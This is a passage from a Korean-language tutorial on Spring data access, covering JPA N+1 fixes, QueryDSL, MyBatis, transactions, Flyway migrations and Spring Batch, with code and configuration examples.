List<Order> findByStatus(OrderStatus status);

// 3) batch size — 컬렉션에 특히 유용 ★
//    IN (1,2,3,...) 로 묶어서 조회 → 1 + (N/100) 번
//    application.yml:
//    spring.jpa.properties.hibernate.default_batch_fetch_size: 100

// 4) DTO 직접 조회 — 애초에 필요한 것만
@Query("""
    SELECT new com.myapp.dto.OrderSummary(o.id, u.name, o.amount)
      FROM Order o JOIN o.user u
    """)
List<OrderSummary> findSummaries();

⚠️ 컬렉션 페치 조인의 함정

// ❌ 1:N 을 페치 조인하면 행이 뻥튀기됩니다
@Query("SELECT o FROM Order o JOIN FETCH o.items")
List<Order> findAll();
// 주문 1개에 상품 3개 → 같은 주문이 3번 나옴

// ✅ 해결 1 — DISTINCT (Hibernate 6+ 는 자동)
@Query("SELECT DISTINCT o FROM Order o JOIN FETCH o.items")

// ❌ 페이징이 안 됩니다! (메모리에서 페이징 → OOM 위험)
//    "firstResult/maxResults specified with collection fetch; applying in memory"

// ✅ 해결 2 — batch fetch size 를 쓰면 페이징이 됩니다 ★
//    ToOne 만 페치 조인하고, 컬렉션은 batch size 로
@Query("SELECT o FROM Order o JOIN FETCH o.user")
Page<Order> findAllWithUser(Pageable pageable);
// + default_batch_fetch_size: 100

// ⚠️ 컬렉션 페치 조인은 '하나만' 가능합니다
//    둘 이상이면 MultipleBagFetchException → Set 으로 바꾸거나 batch size

쿼리가 몇 번 나가는지 눈으로 보기

spring:
  jpa:
    properties:
      hibernate:
        format_sql: true
        default_batch_fetch_size: 100      # ★ 이 한 줄이 N+1 의 대부분을 해결합니다
logging:
  level:
    org.hibernate.SQL: DEBUG
    org.hibernate.orm.jdbc.bind: TRACE     # 파라미터 값까지

# 더 편한 방법 — 쿼리 개수를 세어 주는 라이브러리
# implementation("com.github.gavlyukovskiy:datasource-proxy-spring-boot-starter:1.9.2")
실무 기본 세팅 — default_batch_fetch_size: 100 을 켜 두고, ToOne 연관은 페치 조인, 컬렉션은 batch size로 가는 조합이 페이징까지 되면서 N+1 도 막는 가장 무난한 방법입니다.
GET /posts — 목록 한 번이 쿼리 101번이 됩니다 (PK 조회 1건 ≈ 2 ms 기준) 0 50 100 150 200 ms ① 게시글 목록 8 ms ② 작성자 #1 ③ 작성자 #2 ④ 작성자 #3 ⋮ 96번 더 작성자 #100 계단 100칸 · 합계 ≈ 200 ms 한 칸이 2 ms 라 로그에선 안 보입니다 join fetch 12 ms · 쿼리 1번 batch_size 100 14 ms · 쿼리 2번 (목록 + IN 절) 발견법 — SQL 로그를 켜고 목록 화면을 한 번 열어 쿼리 개수를 세 보세요 컬렉션 페치 조인 + 페이징은 전부 메모리로 올라옵니다 — 컬렉션은 batch_size 로
JPA 성능 사고의 절반 이상이 이 하나입니다.
DATA 09

QueryDSL 설정

문자열 쿼리의 오타를 컴파일 시점에 잡아 줍니다. 설정만 한 번 넘기면 그 뒤론 편합니다.

Gradle 설정 (Spring Boot 4.x · jakarta)

dependencies {
    implementation("com.querydsl:querydsl-jpa:5.1.0:jakarta")
    annotationProcessor("com.querydsl:querydsl-apt:5.1.0:jakarta")
    annotationProcessor("jakarta.annotation:jakarta.annotation-api")
    annotationProcessor("jakarta.persistence:jakarta.persistence-api")
}

// 생성된 Q타입을 빌드 폴더에 두기 (clean 하면 같이 지워짐)
tasks.withType<JavaCompile> {
    options.generatedSourceOutputDirectory
           .set(file("build/generated/querydsl"))
}
./gradlew clean compileJava
# build/generated/querydsl 아래 QOrder.java 등이 생성됩니다
# IDE 에서 안 잡히면: Gradle 새로고침 또는 build 폴더를 소스로 표시
새 프로젝트라면 QueryDSL 도입을 한 번 더 고민하세요. 원본 com.querydsl 은 사실상 유지보수가 멈춘 상태이고 Hibernate 6 를 대상으로 빌드돼 있어, Hibernate 7 · Jakarta Persistence 3.2 조합에서 문제 보고가 있습니다.
대안은 OpenFeign 포크(io.github.openfeign.querydsl) — 활발히 유지됩니다. 다만 Spring Data 는 원본 좌표를 참조하므로 포크로 갈아 끼우면 QuerydslPredicateExecutor 가 정상 동작하는지 반드시 검증하세요.
아예 새로 시작한다면 jOOQ 나 Spring Data 의 Specification 도 후보입니다.

JPAQueryFactory 빈 등록

@Configuration
public class QuerydslConfig {

    @PersistenceContext
    private EntityManager em;

    @Bean
    public JPAQueryFactory jpaQueryFactory() {
        return new JPAQueryFactory(em);
    }
}

커스텀 리포지토리 붙이기

// 1) 인터페이스
public interface OrderRepositoryCustom {
    Page<OrderSummary> search(OrderSearchCond cond, Pageable pageable);
}

// 2) 구현체 — 이름은 반드시 "인터페이스명 + Impl"
@Repository
@RequiredArgsConstructor
public class OrderRepositoryImpl implements OrderRepositoryCustom {
    private final JPAQueryFactory query;
    // ... 다음 섹션에서 구현
}

// 3) 기존 리포지토리에 상속
public interface OrderRepository
        extends JpaRepository<Order, Long>, OrderRepositoryCustom { }

// 이제 한 리포지토리에서 둘 다 씁니다
orderRepository.findById(1L);              // Spring Data
orderRepository.search(cond, pageable);    // QueryDSL ✅
DATA 10

QueryDSL 동적 쿼리

검색 조건이 있을 수도 없을 수도 있을 때, 이만한 도구가 없습니다.

❌ 문자열로 조립하면
StringBuilder sql = new StringBuilder("SELECT o FROM Order o WHERE 1=1");
if (status != null)  sql.append(" AND o.status = :status");
if (from != null)    sql.append(" AND o.createdAt >= :from");
if (keyword != null) sql.append(" AND o.memo LIKE :kw");
// · 오타가 나도 컴파일은 통과, 실행할 때 터짐
// · 파라미터 바인딩도 따로 관리해야 함
// · 조건이 늘수록 손댈 수 없어짐
✅ QueryDSL
query.selectFrom(order)
     .where(statusEq(cond.status()),        // null 이면 자동으로 무시됨 ★
            createdAfter(cond.from()),
            memoContains(cond.keyword()))
     .fetch();

where() 에 넘긴 조건이 null 이면 그냥 빠집니다. 이 성질 하나로 동적 쿼리가 아주 깔끔해집니다.

전체 구현 — 검색 + 페이징

import static com.myapp.order.QOrder.order;
import static com.myapp.user.QUser.user;

@Repository
@RequiredArgsConstructor
public class OrderRepositoryImpl implements OrderRepositoryCustom {

    private final JPAQueryFactory query;

    @Override
    public Page<OrderSummary> search(OrderSearchCond cond, Pageable pageable) {

        // 1) 내용 조회
        List<OrderSummary> content = query
                .select(Projections.constructor(OrderSummary.class,   // DTO 로 바로
                        order.id, order.orderNo, user.name, order.amount, order.createdAt))
                .from(order)
                .join(order.user, user)                    // 페치 조인 아님 (DTO 라서 불필요)
                .where(
                        statusEq(cond.status()),
                        userNameContains(cond.userName()),
                        amountGoe(cond.minAmount()),
                        createdBetween(cond.from(), cond.to())
                )
                .orderBy(orderSpec(pageable))
                .offset(pageable.getOffset())
                .limit(pageable.getPageSize())
                .fetch();

        // 2) 카운트 — 별도 쿼리로 분리하면 정렬·조인을 줄일 수 있다
        JPAQuery<Long> countQuery = query
                .select(order.count())
                .from(order)
                .join(order.user, user)
                .where(
                        statusEq(cond.status()),
                        userNameContains(cond.userName()),
                        amountGoe(cond.minAmount()),
                        createdBetween(cond.from(), cond.to())
                );

        // 마지막 페이지이거나 첫 페이지에 다 들어가면 카운트 쿼리를 생략한다 ★
        return PageableExecutionUtils.getPage(content, pageable, countQuery::fetchOne);
    }

    // ── 조건 메서드: null 이면 null 을 반환 → where 에서 무시됨 ──────
    private BooleanExpression statusEq(OrderStatus s) {
        return s != null ? order.status.eq(s) : null;
    }

    private BooleanExpression userNameContains(String name) {
        return StringUtils.hasText(name) ? user.name.contains(name) : null;
    }

    private BooleanExpression amountGoe(Integer min) {
        return min != null ? order.amount.goe(min) : null;
    }

    private BooleanExpression createdBetween(LocalDate from, LocalDate to) {
        if (from == null && to == null) return null;
        if (from == null) return order.createdAt.loe(to.atTime(23, 59, 59));
        if (to == null)   return order.createdAt.goe(from.atStartOfDay());
        return order.createdAt.between(from.atStartOfDay(), to.atTime(23, 59, 59));
    }

    // 조건을 조합해서 재사용할 수도 있습니다
    private BooleanExpression isActive() {
        return order.status.in(OrderStatus.CREATED, OrderStatus.PAID)
                .and(order.deletedAt.isNull());
    }

    private OrderSpecifier<?>[] orderSpec(Pageable pageable) {
        if (pageable.getSort().isEmpty()) {
            return new OrderSpecifier[]{ order.createdAt.desc() };
        }
        return pageable.getSort().stream()
                .map(o -> new OrderSpecifier<>(
                        o.isAscending() ? Order.ASC : Order.DESC,
                        Expressions.stringPath(order, o.getProperty())))
                .toArray(OrderSpecifier[]::new);
    }
}

자주 쓰는 문법

// 비교
order.amount.eq(1000)      .ne(1000)
order.amount.goe(1000)     // >=      .gt() >
order.amount.loe(1000)     // <=      .lt() <
order.amount.between(1, 100)
order.status.in(PAID, DONE)
order.deletedAt.isNull()   .isNotNull()

// 문자열
user.name.eq("김현우")
user.name.contains("현")      // LIKE %현%
user.name.startsWith("김")    // LIKE 김%
user.name.containsIgnoreCase("kim")

// 조합
statusEq(s).and(amountGoe(1000)).or(isVip())
order.status.eq(PAID).not()

// 집계
query.select(order.amount.sum(), order.count(),
             order.amount.avg(), order.amount.max())
     .from(order).fetchOne();

// 그룹핑
query.select(user.name, order.amount.sum())
     .from(order).join(order.user, user)
     .groupBy(user.name)
     .having(order.amount.sum().gt(10000))
     .fetch();

페치 조인 · 서브쿼리 · CASE

// 페치 조인 (엔티티를 가져올 때)
query.selectFrom(order)
     .join(order.user, user).fetchJoin()
     .where(order.id.eq(id))
     .fetchOne();

// 서브쿼리
import static com.querydsl.jpa.JPAExpressions.select;

query.selectFrom(order)
     .where(order.amount.gt(
             select(order2.amount.avg()).from(order2)))   // 평균보다 큰
     .fetch();

// CASE WHEN
query.select(new CaseBuilder()
        .when(order.amount.gt(100000)).then("VIP")
        .when(order.amount.gt(10000)).then("일반")
        .otherwise("신규"))
     .from(order).fetch();

// 벌크 연산
long updated = query.update(order)
        .set(order.status, OrderStatus.CANCELLED)
        .where(order.createdAt.lt(deadline))
        .execute();
em.clear();      // ★ 영속성 컨텍스트 초기화 필수 (보류 중인 변경은 execute() '전에' em.flush())

// 결과 가져오기
.fetch()          // List
.fetchOne()       // 하나 (2개 이상이면 예외)
.fetchFirst()     // 첫 번째
.stream()         // 스트림
DATA 11

페이징 · 정렬 · 프로젝션

목록 화면은 거의 전부 페이징입니다. 잘못 만들면 데이터가 늘수록 급격히 느려집니다.

기본 페이징

// 컨트롤러 — Pageable 을 그대로 받으면 됩니다
@GetMapping
public Page<OrderRes> list(
        @PageableDefault(size = 20, sort = "createdAt",
                         direction = Sort.Direction.DESC) Pageable pageable) {
    return orderService.list(pageable);
}
// 요청: /api/orders?page=0&size=20&sort=createdAt,desc

// 리포지토리 — 반환 타입만 다르고 시그니처가 같으므로 둘 중 하나만 선언
Page<Order> findByStatus(OrderStatus status, Pageable pageable);
// Slice<Order> findByStatus(OrderStatus status, Pageable pageable);  // 카운트 없음

// Page 가 주는 정보
page.getContent();        page.getTotalElements();
page.getTotalPages();     page.hasNext();
page.map(OrderRes::from); // 내용만 변환 (메타는 유지) ★
Slice 를 쓰면 카운트 쿼리가 안 나갑니다. “더 보기” 방식의 무한 스크롤이면 전체 개수가 필요 없으니 Slice 가 훨씬 빠릅니다.

깊은 페이지가 느린 이유와 해결

-- 100만 번째 페이지
SELECT * FROM orders ORDER BY id DESC LIMIT 20 OFFSET 1000000;
-- DB 가 100만 20건을 읽고 100만 건을 버립니다 💥
// ✅ 커서(무한 스크롤) 방식 — 마지막 본 ID 부터
@Query("""
    SELECT o FROM Order o
     WHERE (:lastId IS NULL OR o.id < :lastId)
     ORDER BY o.id DESC
    """)
List<Order> findNext(Long lastId, Pageable pageable);
// 항상 인덱스로 바로 찾아가므로 페이지가 깊어져도 일정한 속도 ✅

// QueryDSL 로도
query.selectFrom(order)
     .where(lastId != null ? order.id.lt(lastId) : null)
     .orderBy(order.id.desc())
     .limit(size)
     .fetch();
정렬 컬럼에 인덱스가 없으면 페이징은 무조건 느립니다. ORDER BY created_at DESC 를 쓴다면 created_at 에 인덱스가 있어야 합니다.
DATA 12

MyBatis 기초

SQL 을 직접 쓰고 결과를 객체에 매핑합니다. SQL 을 완전히 통제해야 할 때 강력합니다.

build.gradle.kts — implementation("org.mybatis.spring.boot:mybatis-spring-boot-starter:4.1.0")

설정

mybatis:
  mapper-locations: classpath:mapper/**/*.xml
  type-aliases-package: com.myapp.order.dto
  configuration:
    map-underscore-to-camel-case: true    # user_name -> userName ★
    default-fetch-size: 100
    jdbc-type-for-null: NULL

logging:
  level:
    com.myapp.order.mapper: DEBUG          # SQL 로그

매퍼 인터페이스

@Mapper                                     // 또는 @MapperScan 을 설정에
public interface OrderMapper {

    // 애너테이션 방식 — 짧은 쿼리에
    @Select("SELECT * FROM orders WHERE id = #{id}")
    OrderDto findById(Long id);

    @Insert("""
        INSERT INTO orders (order_no, amount, status, created_at)
        VALUES (#{orderNo}, #{amount}, #{status}, NOW())
        """)
    @Options(useGeneratedKeys = true, keyProperty = "id")
    int insert(OrderDto dto);

    // XML 방식 — 복잡한 쿼리는 이쪽
    List<OrderSummary> search(OrderSearchCond cond);
}

XML 매퍼

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
        "https://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.myapp.order.mapper.OrderMapper">

  <select id="search" resultType="OrderSummary">
    SELECT o.id,
           o.order_no   AS orderNo,
           u.name       AS userName,
           o.amount,
           o.created_at AS createdAt
      FROM orders o
      JOIN users u ON u.id = o.user_id
     WHERE o.deleted_at IS NULL
     ORDER BY o.created_at DESC
     LIMIT #{size} OFFSET #{offset}
  </select>

</mapper>
#{} 와 ${} 는 완전히 다릅니다
· #{value} → PreparedStatement 바인딩 (안전) ✅
· ${value} → 문자열을 그대로 붙임 → SQL 인젝션 💥
${} 는 정렬 컬럼명처럼 어쩔 수 없을 때만, 그리고 반드시 화이트리스트 검증 후에 쓰세요.
DATA 13

MyBatis 동적 SQL · 결과 매핑

MyBatis 의 진짜 강점입니다. 조건에 따라 SQL 자체가 달라집니다.

동적 SQL

<select id="search" resultType="OrderSummary">
  SELECT o.*, u.name AS userName
    FROM orders o
    JOIN users u ON u.id = o.user_id
  <where>                          <!-- 조건이 하나도 없으면 WHERE 자체를 안 붙임 -->
    <if test="status != null">
      AND o.status = #{status}
    </if>
    <if test="userName != null and userName != ''">
      AND u.name LIKE CONCAT('%', #{userName}, '%')
    </if>
    <if test="from != null and to != null">
      AND o.created_at BETWEEN #{from} AND #{to}
    </if>
    <if test="statuses != null and statuses.size() > 0">
      AND o.status IN
      <foreach collection="statuses" item="s" open="(" separator="," close=")">
        #{s}
      </foreach>
    </if>
  </where>
  <choose>
    <when test="sort == 'amount'">ORDER BY o.amount DESC</when>
    <otherwise>ORDER BY o.created_at DESC</otherwise>
  </choose>
</select>

<!-- UPDATE 에는 set -->
<update id="update">
  UPDATE orders
  <set>                            <!-- 마지막 콤마를 알아서 제거 -->
    <if test="status != null">status = #{status},</if>
    <if test="memo != null">memo = #{memo},</if>
    updated_at = NOW()
  </set>
  WHERE id = #{id}
</update>

결과 매핑 · 대량 처리

<!-- 1:N 을 한 번에 매핑 -->
<resultMap id="orderDetail" type="OrderDetail">
  <id property="id" column="o_id"/>
  <result property="orderNo" column="order_no"/>
  <association property="user" javaType="UserDto">
    <id property="id" column="u_id"/>
    <result property="name" column="u_name"/>
  </association>
  <collection property="items" ofType="ItemDto">
    <id property="id" column="i_id"/>
    <result property="name" column="i_name"/>
  </collection>
</resultMap>

<!-- 대량 INSERT — 한 번의 쿼리로 ★ -->
<insert id="insertAll">
  INSERT INTO orders (order_no, amount, status) VALUES
  <foreach collection="list" item="o" separator=",">
    (#{o.orderNo}, #{o.amount}, #{o.status})
  </foreach>
</insert>
// 수십만 건 조회를 메모리에 안 올리고 처리
@Select("SELECT * FROM orders")
@Options(fetchSize = 1000, resultSetType = ResultSetType.FORWARD_ONLY)
Cursor<OrderDto> scanAll();

// ⚠️ 트랜잭션(@Transactional) 안에서 열어야 합니다 — 밖이면 세션이 바로 닫혀 Cursor 도 닫힙니다
//    MySQL 은 URL 에 useCursorFetch=true 가 있어야 fetchSize 가 먹습니다 (없으면 통째로 적재)
try (Cursor<OrderDto> cursor = mapper.scanAll()) {
    for (OrderDto o : cursor) { process(o); }
}
DATA 14

트랜잭션 완전정복

“왜 롤백이 안 되지?”의 원인은 거의 정해져 있습니다. 여기서 전부 정리합니다.

기본 사용

@Service
@RequiredArgsConstructor
@Transactional(readOnly = true)        // 클래스 기본값 = 읽기 전용
public class OrderService {

    @Transactional                      // 쓰기 메서드만 재정의
    public Order create(OrderCreateReq req) { ... }

    // 옵션
    @Transactional(
        timeout = 5,                              // 5초 넘으면 롤백
        isolation = Isolation.READ_COMMITTED,     // 격리 수준
        propagation = Propagation.REQUIRED,       // 전파 방식
        rollbackFor = Exception.class             // ★ 체크 예외도 롤백
    )
    public void process() { ... }
}
readOnly = true 의 효과 — 하이버네이트가 스냅샷을 안 만들어 메모리를 아끼고 더티 체킹을 건너뜁니다. DB 에 따라 읽기 전용 커넥션으로 라우팅할 수도 있습니다. 조회 메서드에는 꼭 붙이세요.

전파(Propagation)

옵션동작
REQUIRED (기본)있으면 참여, 없으면 새로 시작
REQUIRES_NEW항상 새 트랜잭션. 바깥이 롤백돼도 얘는 커밋됨
NESTED중첩 (세이브포인트)
SUPPORTS있으면 참여, 없으면 없이 실행
NOT_SUPPORTED트랜잭션 없이 실행
MANDATORY없으면 예외
// 실전 예: 주문이 실패해도 로그는 반드시 남긴다
@Transactional(propagation = Propagation.REQUIRES_NEW)
public void writeAuditLog(String message) {
    auditRepository.save(new AuditLog(message));
}

⚠️ 롤백이 안 되는 5가지 이유

① 체크 예외는 기본적으로 롤백되지 않습니다
@Transactional
public void process() throws IOException {
    repository.save(entity);
    throw new IOException("실패");     // ❌ 커밋됩니다!
}
// ✅ @Transactional(rollbackFor = Exception.class)
② 예외를 잡아 버리면 롤백 신호가 안 갑니다
@Transactional
public void process() {
    try {
        repository.save(entity);
        risky();
    } catch (Exception e) {
        log.error("실패", e);          // ❌ 삼켜서 커밋됨
    }
}
// ✅ 다시 던지거나, TransactionAspectSupport
//    .currentTransactionStatus().setRollbackOnly();
③ 자기 자신을 호출하면 프록시를 안 거칩니다
public void outer() {
    inner();          // ❌ this.inner() — 트랜잭션 없음
}
@Transactional
public void inner() { ... }
// ✅ 클래스 분리 (🍃 Boot 11번 참고)
④ private / final 메서드에는 안 걸립니다
@Transactional
private void save() { }      // ❌ 프록시가 오버라이드 불가
⑤ 다른 스레드는 트랜잭션을 공유하지 않습니다
@Transactional
public void process() {
    executor.submit(() -> repository.save(e));  // ❌ 별개 트랜잭션
}
// @Async 메서드도 마찬가지 — 새 트랜잭션이 필요합니다

동시성 — 락

// 낙관적 락 — 충돌이 드물 때 (권장)
@Entity
public class Product {
    @Version
    private Long version;      // 수정할 때마다 +1
}
// 다른 트랜잭션이 먼저 고쳤으면
// -> OptimisticLockingFailureException

// 비관적 락 — 재고 차감처럼 충돌이 잦을 때
@Lock(LockModeType.PESSIMISTIC_WRITE)
@Query("SELECT p FROM Product p WHERE p.id = :id")
Optional<Product> findByIdForUpdate(Long id);
// SELECT ... FOR UPDATE

// 재시도로 감싸기
@Retryable(retryFor = OptimisticLockingFailureException.class,
           maxAttempts = 3, backoff = @Backoff(delay = 100))
@Transactional
public void decrease(Long id, int qty) { ... }

트랜잭션 설계 원칙

  • 짧게 유지하세요 — 트랜잭션이 길면 커넥션을 오래 붙잡아 풀이 고갈됩니다
  • 외부 API 호출을 트랜잭션 안에 넣지 마세요 — 상대가 느려지면 우리 DB 커넥션이 전부 묶입니다
  • 커밋 후 처리는 이벤트로
// 커밋된 뒤에만 알림 보내기 ★
@TransactionalEventListener(phase = TransactionPhase.AFTER_COMMIT)
public void onOrderPaid(OrderPaidEvent event) {
    notifier.send(event.email(), "결제 완료");
    // 트랜잭션이 롤백되면 이 코드는 아예 실행되지 않습니다 ✅
}

// 발행하는 쪽
@Transactional
public void pay(Long id) {
    Order o = ...;
    o.pay();
    eventPublisher.publishEvent(new OrderPaidEvent(o.getId(), o.getEmail()));
}
전파 — 안쪽 막대가 바깥 안에 들어가는가, 따로 서는가 REQUIRED (기본값) — 있으면 참여 바깥 placeOrder() 안쪽 saveHistory() 같은 트랜잭션 안쪽 예외 → 둘 다 롤백 · 연결 1개 REQUIRES_NEW — 항상 새로 바깥 placeOrder() 일시 정지 · 연결은 쥔 채 안쪽 writeAudit() 새 트랜잭션 · 별도 커밋 바깥이 롤백돼도 남음 쥔 연결 수 1개 2개 1개 시작 안쪽 호출 안쪽 끝 커밋 REQUIRED 안쪽 예외는 catch 로 삼켜도 롤백 표시가 남아 바깥까지 되돌립니다 REQUIRES_NEW 는 연결 2개 — 동시 요청 수 × 2 를 풀 크기 계산에 넣으세요
전파 옵션을 외우기보다 바깥과 운명을 함께할 것인가만 물으면 됩니다.
DATA 15

스키마 관리 · Flyway

ddl-auto 에 스키마를 맡기면 운영에서 데이터가 날아갑니다. 마이그레이션 도구가 답입니다.

implementation("org.flywaydb:flyway-core") · implementation("org.flywaydb:flyway-mysql")
spring:
  jpa:
    hibernate:
      ddl-auto: validate       # ★ 엔티티와 스키마가 맞는지 검증만
  flyway:
    enabled: true
    baseline-on-migrate: true  # 기존 DB 에 처음 적용할 때
    locations: classpath:db/migration
src/main/resources/db/migration/ V1__create_orders.sql V2__add_order_index.sql V3__add_memo_column.sql
-- V1__create_orders.sql
CREATE TABLE orders (
    id          BIGINT AUTO_INCREMENT PRIMARY KEY,
    order_no    VARCHAR(30)  NOT NULL,
    user_id     BIGINT       NOT NULL,
    amount      INT          NOT NULL,
    status      VARCHAR(20)  NOT NULL,
    memo        TEXT,
    created_at  DATETIME     NOT NULL,
    updated_at  DATETIME,
    version     BIGINT       NOT NULL DEFAULT 0,   -- @Version (validate 가 컬럼을 확인합니다)
    UNIQUE KEY uk_order_no (order_no),
    KEY idx_user_status (user_id, status)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

규칙

  • 파일 이름은 V{번호}__{설명}.sql — 밑줄 2개입니다
  • 적용된 파일은 절대 수정하지 마세요 — 체크섬이 달라져 실행이 막힙니다. 새 버전을 추가하세요
  • flyway_schema_history 테이블에 이력이 남습니다
  • 운영 DB 변경은 무중단을 고려해서 — 컬럼 추가는 안전, 삭제·이름 변경은 2단계로 나눠서
-- 안전한 컬럼 삭제 (2단계 배포)
-- 1단계: 코드에서 컬럼 사용을 제거하고 배포
-- 2단계: 다음 배포에서 실제 DROP
ALTER TABLE orders DROP COLUMN old_field;
인덱스 설계 기본 — WHERE·ORDER BY·JOIN 에 쓰는 컬럼에 인덱스를 겁니다. 복합 인덱스는 선택도가 높은(값 종류가 많은) 컬럼을 앞에. EXPLAIN 으로 실제로 타는지 반드시 확인하세요.
스키마도 코드입니다 — 운영에서 손으로 ALTER 하지 않습니다 저장소 V1__init.sql V2__add_order.sql V3__add_index.sql Flyway · Liquibase flyway_schema_history 확인 아직 적용 안 된 것만 실행 체크섬으로 변조 감지 DB ✓ V1 · V2 적용됨 → V3 만 실행 모든 환경이 같은 순서 ddl-auto 는 운영에서 금지 update — 컬럼을 지우지 못하고 예측이 어렵습니다 create-drop — 재시작할 때 데이터가 사라집니다 운영은 validate 로 두고 변경은 마이그레이션으로 무중단 배포와 함께 쓰는 순서 컬럼 추가는 먼저 배포해도 안전합니다 삭제·이름 변경은 두 번에 나눠 — 안 쓰게 배포한 뒤 다음에 제거 큰 테이블의 인덱스 추가는 온라인 DDL 여부를 확인하세요
"운영 DB 에만 없는 컬럼"이 구조적으로 생기지 않게 만드는 장치입니다.
환경마다 위치만 다를 뿐 — 모두 같은 순서의 길을 갑니다 V1 init V2 add_order V3 add_index V4 add_col 개발 최신 스테이징 V4 대기 운영 V3 → V4 대기 다음 배포 때 이 순서로만 실행 운영에 V3 가 아직 없을 수는 있어도, V3 를 건너뛴 V4 는 생길 수 없습니다 적용된 파일을 고치면 체크섬이 달라져 기동이 멈춥니다 — 고칠 땐 새 번호로 ddl-auto 는 운영에서 validate — 스키마 변경은 언제나 이 길로만
"운영 DB 에만 없는 컬럼"이 구조적으로 생기지 않게 만드는 장치입니다.
DATA 16

JPA vs MyBatis — 실전 선택

둘 다 써 본 입장에서 정리한 판단 기준입니다.

상황권장이유
신규 프로젝트, 도메인 중심JPA + QueryDSLCRUD 를 안 짜도 되고 객체지향 설계를 살릴 수 있음
기존 DB 가 이미 있고 스키마를 못 바꿈MyBatis복합키·비정규화 테이블에 JPA 매핑이 고통스러움
복잡한 통계·집계 리포트MyBatis / JdbcClient윈도우 함수·CTE 등 SQL 을 그대로 쓰는 게 빠름
대량 배치 처리JdbcTemplate 배치JPA 는 영속성 컨텍스트 때문에 메모리를 먹음
검색 조건이 10개 이상QueryDSL동적 쿼리를 타입 안전하게
팀에 SQL 강자가 많음MyBatis학습 비용이 낮고 통제가 쉬움
WebFluxR2DBCJDBC 는 블로킹 — 🌊 09번

대량 데이터 처리 — JPA 를 쓰면 안 되는 경우

// ❌ 10만 건 저장 — 영속성 컨텍스트에 전부 쌓여 OOM
@Transactional
public void saveAll(List<Order> orders) {
    orders.forEach(orderRepository::save);
}

// ✅ 해법 1 — 배치 + 주기적 flush/clear
@Transactional
public void saveAll(List<Order> orders) {
    for (int i = 0; i < orders.size(); i++) {
        em.persist(orders.get(i));
        if ((i + 1) % 500 == 0) { em.flush(); em.clear(); }
    }
}
// application.yml
//   spring.jpa.properties.hibernate.jdbc.batch_size: 500
//   spring.jpa.properties.hibernate.order_inserts: true
//   (MySQL URL 에 rewriteBatchedStatements=true 필수)
//   ⚠️ ID 가 IDENTITY 전략이면 INSERT 배치가 꺼집니다 — 그럴 땐 해법 2

// ✅ 해법 2 — JdbcTemplate 배치 (가장 빠름) ★
jdbcTemplate.batchUpdate("""
        INSERT INTO orders (order_no, amount, status, created_at)
        VALUES (?, ?, ?, ?)
        """,
    orders, 1000,
    (ps, o) -> {
        ps.setString(1, o.getOrderNo());
        ps.setInt(2, o.getAmount());
        ps.setString(3, o.getStatus().name());
        ps.setTimestamp(4, Timestamp.valueOf(o.getCreatedAt()));
    });

// ✅ 대량 조회 — 스트리밍으로
@Query("SELECT o FROM Order o")
@QueryHints(@QueryHint(name = "org.hibernate.fetchSize", value = "1000"))   // 없으면 드라이버가 통째로 적재할 수 있음
Stream<Order> streamAll();

@Transactional(readOnly = true)
public void process() {
    try (Stream<Order> s = repository.streamAll()) {
        s.forEach(o -> { handle(o); em.detach(o); });   // 처리 후 즉시 분리
    }
}
결론 — 기술을 하나로 통일하려 애쓰지 마세요. 대부분의 실무 프로젝트는 JPA(+QueryDSL)를 기본으로 두고, 통계·배치처럼 SQL 을 직접 통제해야 하는 곳만 MyBatis 나 JdbcTemplate 으로 빼는 방식이 가장 무난합니다.
DATA 17

Spring Batch — 수천만 건을 다루는 법

정산·집계·마이그레이션처럼 밤에 도는 일은 웹과 완전히 다른 도구가 필요합니다.

직접 짜면 반드시 부딪히는 것들

@Scheduled 로 만든 자체 배치의 최후

  · 500만 건을 findAll() → 즉시 OOM
  · 3시간 돌다가 240만 건에서 실패 → 처음부터 다시
  · 어디까지 처리했는지 아무도 모름
  · 서버가 2대라 같은 배치가 동시에 두 번 돎
  · 실패했는데 아무도 몰랐고, 다음 날 정산이 틀림

Spring Batch 가 기본으로 해결해 주는 것
  ✓ 청크 단위 처리 (메모리 일정하게 유지)
  ✓ 실패 지점부터 재시작
  ✓ 실행 이력을 메타 테이블에 기록
  ✓ 같은 파라미터의 Job 중복 실행 차단
  ✓ 건너뛰기(skip)·재시도(retry) 정책
implementation("org.springframework.boot:spring-boot-starter-batch")
Boot 4 부터 Job 저장소의 기본이 in-memory 입니다 — 재시작·중복 실행 차단을 쓰려면 DB 모드가 필요합니다.
implementation("org.springframework.boot:spring-boot-starter-batch-jdbc")
⚠️ 그리고 메타 테이블(BATCH_JOB_*) 이 필요합니다 — spring.batch.jdbc.initialize-schema=always 또는 Flyway 로 생성(d15).

청크 처리 — 핵심 개념 하나

read → read → … → read  (chunk size 만큼 = 1,000건)
                    ↓
                 process  (한 건씩 변환·필터)
                    ↓
                  write   (1,000건을 한 번에 저장 · 커밋)
                    ↓
              메모리 비우고 다음 청크로

→ 500만 건이어도 메모리에는 항상 1,000건만 있습니다
→ 커밋도 1,000건마다 — 롤백 범위가 작습니다

실전 Job — Spring Boot 4 기준

@Configuration
@RequiredArgsConstructor
public class SettlementJobConfig {

    private final JobRepository jobRepository;
    private final PlatformTransactionManager txManager;
    private final DataSource dataSource;

    @Bean
    public Job settlementJob(Step settlementStep) {
        return new JobBuilder("settlementJob", jobRepository)
                .start(settlementStep)
                .build();
    }

    @Bean
    public Step settlementStep(ItemReader<Order> reader,
                               ItemProcessor<Order, Settlement> processor,
                               ItemWriter<Settlement> writer) {
        return new StepBuilder("settlementStep", jobRepository)
                .<Order, Settlement>chunk(1000, txManager)   // ★ 청크 크기
                .reader(reader)
                .processor(processor)
                .writer(writer)
                .faultTolerant()
                .skip(InvalidDataException.class).skipLimit(100)  // 100건까지는 건너뜀
                .retry(DeadlockLoserDataAccessException.class).retryLimit(3)
                .build();
    }

    // ★ 커서 방식 — 500만 건이어도 메모리는 일정
    @Bean
    @StepScope                                  // 실행 시점 파라미터를 받으려면 필수
    public JdbcCursorItemReader<Order> reader(
            @Value("#{jobParameters['targetDate']}") String targetDate) {
        return new JdbcCursorItemReaderBuilder<Order>()
                .name("orderReader")
                .dataSource(dataSource)
                .sql("select id, user_id, amount from orders where order_date = ?")
                .queryArguments(targetDate)
                .rowMapper(new DataClassRowMapper<>(Order.class))
                .fetchSize(1000)
                .build();
    }

    @Bean
    public JdbcBatchItemWriter<Settlement> writer() {
